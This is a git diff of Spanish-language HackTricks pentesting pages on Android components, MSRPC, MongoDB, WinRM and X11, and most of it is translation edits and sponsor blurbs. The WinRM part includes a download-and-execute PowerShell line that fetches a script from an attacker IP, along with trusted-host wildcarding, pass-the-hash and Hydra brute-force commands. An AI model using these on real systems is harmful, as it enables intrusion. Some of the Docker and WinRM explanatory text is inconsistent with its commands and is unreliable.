La **Acción** del intent previamente declarado es **ACTION\_SEND** y el **Extra** es un **Uri** de correo electrónico (el Extra es la información adicional que el intent espera).
|
||||
La **Acción** del intent previamente declarado es **ACTION\_SEND** y el **Extra** es un **Uri** de mailto (el Extra es la información adicional que el intent espera).
|
||||
|
||||
Este intent debe ser declarado dentro del manifiesto como en el siguiente ejemplo:
|
||||
```markup
|
||||
|
@ -359,11 +354,11 @@ El elemento **`grant-uri-permission`** tiene tres atributos: path, pathPrefix y
|
|||
* **pathPrefix**: Permite especificar el inicio de la ruta
|
||||
* **pathPattern**: Permite el uso de comodines y reemplazos simbólicos para obtener un control más granular.
|
||||
|
||||
Es **importante validar y sanear la entrada recibida** para evitar posibles vulnerabilidades como la inyección de SQL.
|
||||
Es **importante validar y sanitizar la entrada recibida** para evitar posibles vulnerabilidades como la inyección de SQL.
|
||||
|
||||
**Características del proveedor de contenido:**
|
||||
|
||||
* El componente del proveedor de contenido suministra datos de una aplicación a otras bajo petición.
|
||||
* El componente Proveedor de contenido suministra datos de una aplicación a otras bajo petición.
|
||||
* Puede almacenar los datos en el sistema de archivos, una base de datos SQLite, en la web o en cualquier otra ubicación de almacenamiento persistente a la que su aplicación pueda acceder.
|
||||
* A través del proveedor de contenido, otras aplicaciones pueden consultar o incluso modificar los datos (si el proveedor de contenido lo permite).
|
||||
* El proveedor de contenido es útil en casos en los que una aplicación desea compartir datos con otra aplicación.
|
||||
|
@ -402,13 +397,13 @@ El elemento `<paths>` puede tener varios hijos, cada uno especificando un direct
|
|||
|
||||
## WebViews
|
||||
|
||||
Las WebViews son efectivamente **navegadores web** integrados en aplicaciones de Android.\
|
||||
Las WebViews son **navegadores web** integrados en aplicaciones de Android.\
|
||||
El contenido de las WebViews puede provenir de sitios remotos o pueden ser archivos incluidos en la aplicación.\
|
||||
Las WebViews son **vulnerables a las mismas vulnerabilidades que afectan a cualquier navegador web**. Sin embargo, hay algunas **configuraciones** que pueden ser útiles para **limitar** la **superficie de ataque**.
|
||||
|
||||
Hay dos tipos de WebViews en Android:
|
||||
|
||||
* El **WebViewClient**, más adecuado para la representación de HTML simple. Esto no ejecutará la función de alerta de JS. Por lo tanto, las pruebas de XSS que utilizan esa función serán inválidas.
|
||||
* El **WebViewClient**, más adecuado para la representación de HTML simple. Esto no ejecutará la función de alerta de JS. Por lo tanto, las pruebas de XSS que utilicen esa función serán inválidas.
|
||||
* El **cliente WebChrome**, es un navegador Chrome.
|
||||
|
||||
Tenga en cuenta que los navegadores **WebView no tienen acceso a las cookies del navegador nativo**.
|
||||
|
@ -447,7 +442,7 @@ MDM o Mobile Device Management son suites de software que se utilizan para **gar
|
|||
|
||||
Generalmente, las soluciones de MDM realizan funciones como hacer cumplir políticas de contraseñas, forzar el cifrado del almacenamiento y permitir el borrado remoto de los datos del dispositivo.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -85,8 +85,8 @@ _Nota que de las opciones mencionadas, todas excepto **`tcp_dcerpc_auditor`** so
|
|||
| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | Interfaz SAMR de LSA, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y forzar contraseñas de usuario sin importar la política de bloqueo de cuentas [Biblioteca Oreilly](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) |
|
||||
| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Programador de tareas, utilizado para ejecutar comandos de forma remota |
|
||||
| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Servicio de registro remoto, utilizado para acceder al registro del sistema |
|
||||
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos |
|
||||
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios de forma remota y ejecutar comandos |
|
||||
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios y ejecutar comandos de forma remota |
|
||||
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Administrador de control de servicios y servicios de servidor, utilizado para iniciar y detener servicios y ejecutar comandos de forma remota |
|
||||
| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | Interfaz DCOM, compatible con WMI |
|
||||
|
||||
### Identificación de direcciones IP
|
||||
|
@ -106,18 +106,18 @@ El **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/97805965
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando los clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en una leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
**Conviértete en una leyenda de los hackers web3**\
|
||||
Obtén puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
||||
|
@ -128,9 +128,9 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -73,9 +73,9 @@ Cuando un cliente intenta conectarse a un clúster de MongoDB, puede utilizar el
|
|||
|
||||
Una vez que el cliente tiene esta lista de servidores, puede intentar conectarse a cada uno de ellos hasta que encuentre uno que esté disponible. Esto permite que el cliente se adapte automáticamente a los cambios en el clúster, como la adición o eliminación de servidores.
|
||||
|
||||
El descubrimiento automático también es útil para la tolerancia a fallos, ya que si un servidor falla, el cliente puede intentar conectarse a otro servidor en su lugar. Esto garantiza que la aplicación siga funcionando incluso en caso de fallos en los servidores.
|
||||
El descubrimiento automático también es útil para la tolerancia a fallos, ya que si un servidor falla, el cliente puede intentar conectarse a otro servidor en su lugar. Esto garantiza que la aplicación siga funcionando incluso si uno de los servidores de MongoDB deja de estar disponible.
|
||||
|
||||
En resumen, el descubrimiento automático en MongoDB permite a los clientes encontrar y conectarse automáticamente a los servidores en un clúster, lo que facilita la alta disponibilidad y la tolerancia a fallos.
|
||||
En resumen, el descubrimiento automático en MongoDB permite a los clientes encontrar y conectarse automáticamente a los servidores en un clúster, lo que facilita la alta disponibilidad y la tolerancia a fallos en entornos de producción.
|
||||
```bash
|
||||
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
|
||||
```
|
||||
|
@ -127,7 +127,7 @@ La herramienta [https://github.com/andresriancho/mongo-objectid-predict](https:/
|
|||
|
||||
Si eres root, puedes **modificar** el archivo **mongodb.conf** para que no se necesiten credenciales (_noauth = true_) y **iniciar sesión sin credenciales**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
|
|
|
@ -6,13 +6,13 @@
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -40,11 +40,11 @@ La forma más sencilla de detectar si WinRM está disponible es verificando si e
|
|||
* **5985/tcp (HTTP)**
|
||||
* **5986/tcp (HTTPS)**
|
||||
|
||||
Si uno de estos puertos está abierto, WinRM está configurado y puedes intentar ingresar a una sesión remota.
|
||||
Si alguno de estos puertos está abierto, WinRM está configurado y puedes intentar ingresar a una sesión remota.
|
||||
|
||||
## **Iniciando una sesión de WinRM**.
|
||||
|
||||
Podemos configurar PowerShell para trabajar con WinRM. Según la documentación de Microsoft, Enable-PSRemoting es un cmdlet que configura la computadora para recibir comandos remotos de PowerShell. Si tenemos acceso a un símbolo del sistema de PowerShell elevado en la víctima, podemos habilitarlo y agregar cualquier "atacante" como hosts de confianza. Podemos ejecutar los siguientes dos comandos:
|
||||
Podemos configurar PowerShell para que funcione con WinRM. Según la documentación de Microsoft, Enable-PSRemoting es un cmdlet que configura la computadora para recibir comandos remotos de PowerShell. Si tenemos acceso a un símbolo del sistema de PowerShell elevado en la víctima, podemos habilitarlo y agregar cualquier "atacante" como hosts de confianza. Podemos ejecutar los siguientes dos comandos:
|
||||
```
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
|
@ -85,7 +85,7 @@ To execute a script using WinRM, you can use the `Invoke-Command` cmdlet. This c
|
|||
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
|
||||
```
|
||||
|
||||
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the path to the script you want to execute.
|
||||
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
|
||||
|
||||
For example, to execute a PowerShell script named `script.ps1` on a remote machine with the IP address `192.168.0.100`, you would use the following command:
|
||||
|
||||
|
@ -95,7 +95,7 @@ Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\script.ps1
|
|||
|
||||
This will execute the script on the remote machine and return the output to your local machine.
|
||||
|
||||
Keep in mind that you need appropriate permissions and credentials to execute scripts on remote machines.
|
||||
Keep in mind that you need to have the necessary permissions and credentials to execute scripts on the remote machine.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
|
@ -113,7 +113,7 @@ Para obtener una shell inversa a través de WinRM, puedes seguir los siguientes
|
|||
|
||||
4. Una vez que el payload se haya ejecutado en el sistema objetivo, se establecerá una conexión de shell inversa con tu servidor de escucha. Ahora podrás ejecutar comandos en el sistema comprometido desde tu máquina local.
|
||||
|
||||
Recuerda que el uso de técnicas de hacking como la obtención de una shell inversa sin el consentimiento explícito del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. Solo debes utilizar estas técnicas en entornos controlados y con el permiso adecuado.
|
||||
Recuerda que la obtención de una shell inversa sin el consentimiento explícito del propietario del sistema es ilegal y puede tener consecuencias legales graves. Solo debes realizar estas acciones en sistemas que tengas permiso para probar o en entornos controlados para fines educativos.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
|
@ -146,7 +146,7 @@ Si realmente quieres usar PS Remoting y WinRM pero el objetivo no está configur
|
|||
```
|
||||
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
Ahora podemos ingresar a una sesión remota de PS en la víctima.
|
||||
Ahora podemos ingresar a una sesión de PS remota en la víctima.
|
||||
|
||||
### Guardando y restaurando sesiones
|
||||
|
||||
|
@ -177,7 +177,7 @@ La solución en el cliente (información de [aquí](https://serverfault.com/ques
|
|||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -250,42 +250,30 @@ evil-winrm -u <username> -H <Hash> -i <IP>
|
|||
|
||||
La técnica de PS-docker es una forma eficaz de realizar pruebas de penetración en servicios de red que utilizan el protocolo WinRM. WinRM es un protocolo de administración remota de Windows que permite a los administradores controlar y administrar sistemas Windows de forma remota.
|
||||
|
||||
Para utilizar PS-docker, primero debes tener instalado Docker en tu máquina. Docker es una plataforma de contenedores que te permite empaquetar y distribuir aplicaciones en un entorno aislado. Una vez que hayas instalado Docker, puedes seguir los siguientes pasos:
|
||||
Para utilizar PS-docker, primero debemos configurar una máquina Docker con una imagen de Windows que tenga soporte para PowerShell. Esto nos permitirá ejecutar comandos de PowerShell en la máquina Docker y aprovechar las capacidades de WinRM.
|
||||
|
||||
1. Descarga la imagen de Docker que contiene PowerShell y WinRM:
|
||||
A continuación se muestra un ejemplo de cómo utilizar PS-docker para realizar pruebas de penetración en un servicio de WinRM:
|
||||
|
||||
```
|
||||
docker pull mcr.microsoft.com/powershell:lts-nanoserver-1809
|
||||
1. Configurar una máquina Docker con una imagen de Windows que tenga soporte para PowerShell.
|
||||
2. Ejecutar el siguiente comando para iniciar la máquina Docker:
|
||||
|
||||
```plaintext
|
||||
docker run -it --name winrm-test -p 5985:5985 -p 5986:5986 mcr.microsoft.com/windows/servercore:ltsc2019 powershell
|
||||
```
|
||||
|
||||
2. Crea un contenedor a partir de la imagen descargada:
|
||||
Este comando inicia una máquina Docker con el nombre "winrm-test" y expone los puertos 5985 y 5986, que son los puertos predeterminados utilizados por WinRM.
|
||||
|
||||
```
|
||||
docker run -it -p 5985:5985 -p 5986:5986 --name winrm-container mcr.microsoft.com/powershell:lts-nanoserver-1809
|
||||
3. Una vez que la máquina Docker esté en funcionamiento, podemos conectarnos a ella utilizando una herramienta de administración remota de PowerShell, como `Enter-PSSession` o `Invoke-Command`. Por ejemplo:
|
||||
|
||||
```plaintext
|
||||
Enter-PSSession -ComputerName <IP de la máquina Docker> -Port 5985 -Credential (Get-Credential)
|
||||
```
|
||||
|
||||
Este comando crea un contenedor y mapea los puertos 5985 y 5986 del contenedor a los puertos correspondientes en tu máquina.
|
||||
Este comando establece una sesión remota de PowerShell con la máquina Docker utilizando la dirección IP de la máquina Docker y el puerto 5985. También solicitará las credenciales de autenticación.
|
||||
|
||||
3. Accede al contenedor:
|
||||
4. A partir de aquí, podemos ejecutar comandos de PowerShell en la máquina Docker para realizar pruebas de penetración en el servicio de WinRM.
|
||||
|
||||
```
|
||||
docker exec -it winrm-container pwsh
|
||||
```
|
||||
|
||||
Esto te permitirá acceder a la línea de comandos de PowerShell dentro del contenedor.
|
||||
|
||||
4. Configura WinRM dentro del contenedor:
|
||||
|
||||
```
|
||||
Set-Item -Path WSMan:\localhost\Listener -Address * -Transport HTTP -Force
|
||||
Set-Item -Path WSMan:\localhost\Listener -Address * -Transport HTTPS -Force
|
||||
```
|
||||
|
||||
Estos comandos configuran WinRM para escuchar en todos los interfaces de red y habilitan los protocolos HTTP y HTTPS.
|
||||
|
||||
Una vez que hayas configurado WinRM dentro del contenedor, puedes utilizar herramientas de prueba de penetración como Metasploit o Nmap para escanear y explotar posibles vulnerabilidades en los servicios de red que utilizan WinRM.
|
||||
|
||||
Recuerda que siempre debes realizar pruebas de penetración en entornos controlados y con el permiso del propietario del sistema. El uso indebido de estas técnicas puede ser ilegal y tener consecuencias legales graves.
|
||||
Es importante tener en cuenta que esta técnica solo debe utilizarse con fines legales y éticos, y se debe obtener el permiso adecuado antes de realizar pruebas de penetración en cualquier sistema o red.
|
||||
```
|
||||
docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
|
@ -391,7 +379,7 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -404,7 +392,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
|
|||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -85,29 +85,23 @@ La herramienta `xwd` se utiliza para capturar pantallas en el entorno X11. Puede
|
|||
xwd -root -out screenshot.xwd
|
||||
```
|
||||
|
||||
Esto capturará la pantalla completa y guardará la imagen en el archivo `screenshot.xwd`.
|
||||
|
||||
### 2. Utilizando la herramienta `import`
|
||||
|
||||
La herramienta `import` también se puede utilizar para capturar pantallas en el entorno X11. Puede usar el siguiente comando para capturar una región específica de la pantalla y guardarla en un archivo:
|
||||
La herramienta `import` también se puede utilizar para capturar pantallas en el entorno X11. Puede usar el siguiente comando para capturar una pantalla y guardarla en un archivo:
|
||||
|
||||
```
|
||||
import -window root -crop <width>x<height>+<x>+<y> screenshot.png
|
||||
import -window root screenshot.png
|
||||
```
|
||||
|
||||
Reemplace `<width>`, `<height>`, `<x>` y `<y>` con los valores adecuados para especificar la región que desea capturar. Esto guardará la imagen en el archivo `screenshot.png`.
|
||||
### 3. Utilizando la combinación de teclas `Print Screen`
|
||||
|
||||
### 3. Utilizando la herramienta `scrot`
|
||||
En muchos entornos de escritorio, puede capturar una pantalla presionando la tecla "Print Screen" en su teclado. Esto guardará automáticamente la captura de pantalla en un archivo.
|
||||
|
||||
La herramienta `scrot` es otra opción para capturar pantallas en el entorno X11. Puede usar el siguiente comando para capturar la pantalla completa y guardarla en un archivo:
|
||||
### 4. Utilizando herramientas de captura de pantalla
|
||||
|
||||
```
|
||||
scrot screenshot.png
|
||||
```
|
||||
Además de las herramientas mencionadas anteriormente, también puede utilizar herramientas de captura de pantalla específicas, como `scrot` o `gnome-screenshot`, para capturar pantallas en el entorno X11.
|
||||
|
||||
Esto capturará la pantalla completa y guardará la imagen en el archivo `screenshot.png`.
|
||||
|
||||
Recuerde que al capturar pantallas durante una prueba de penetración, es importante obtener el consentimiento previo del propietario del sistema o red.
|
||||
Recuerde que al capturar pantallas durante una prueba de penetración, es importante tener en cuenta las políticas y regulaciones de seguridad de la organización objetivo. Asegúrese de obtener el permiso adecuado antes de realizar cualquier captura de pantalla.
|
||||
```bash
|
||||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||||
convert screenshot.xwd screenshot.png
|
||||
|
@ -182,11 +176,11 @@ Aparecerá un nuevo panel de control donde podemos ver la opción de R-shell, qu
|
|||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
|
||||
|
||||
Iniciaremos el modo de escucha de Netcat en nuestro sistema local en el puerto 5555, que se ilustra a continuación:
|
||||
Iniciaremos el modo de escucha de Netcat en nuestro sistema local en el puerto 5555, como se muestra a continuación:
|
||||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
|
||||
|
||||
Luego, añade la IP y el puerto y selecciona R-Shell, que se ilustra a continuación:
|
||||
Luego, añade la IP y el puerto y selecciona R-Shell, como se muestra a continuación:
|
||||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
|
||||
|
||||
|
@ -200,8 +194,7 @@ Ahora, como se puede ver a continuación, tenemos acceso completo al sistema:
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
